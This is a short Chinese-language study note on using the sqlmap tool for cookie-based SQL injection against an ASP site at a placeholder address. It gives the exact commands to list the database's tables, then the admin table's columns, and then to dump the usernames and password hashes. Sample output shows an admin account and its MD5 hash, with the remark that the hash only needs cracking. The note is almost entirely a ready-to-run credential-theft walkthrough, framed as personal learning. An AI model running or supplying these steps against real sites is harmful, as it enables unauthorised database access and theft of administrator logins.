3.羽翼sqlmap学习笔记之Cookie注入
Cookie注入:
1.假设这个网址"http://www.xxx.org/Show.asp?id=9"存在注入点.
2.sqlmap命令提示符下输入下列内容进行跑表。
sqlmap -u "http://www.xxx.org/Show.asp" --cookie "id=9" --table --level 2
假设返回内容如下,说明是access数据库。
------------------------- [INFO] resuming back-end DBMS 'microsoft access' -------------------------
设置线程数:10
假设返回结果:
------------------------------------------- [ 4 tables] +----------------------+ admin mark province vote +----------------------+
找到四个表分别为:admin mark province vote
3.猜表的字段名:
sqlmap -u "http://www.xxx.org/Show.asp" --cookie "id=9" --columns -T admin --level 2
假设找到admin表的字段如下:
id username password
--------------------------------- [INFO] retrieved: id [INFO] retrieved: username [INFO] retrieved: password ----------------------------------
4.猜测字段的内容:
sqlmap -u "http://www.xxx.org/Show.asp" --cookie "id=9" --dump -T admin -C "username,password" --level 2
获取结果:
[INFO] retrieved: 1 [INFO] retrieved: admin [INFO] retrieved: 21232f297a57a5a743894a0e4a801fc3 (32位MD5加密密文)
账号:admin 密码:将密文解密即可。
*********************
交流即分享,分享才能进步!
不对之处,还请各位前辈多多指教。
by 星云
********************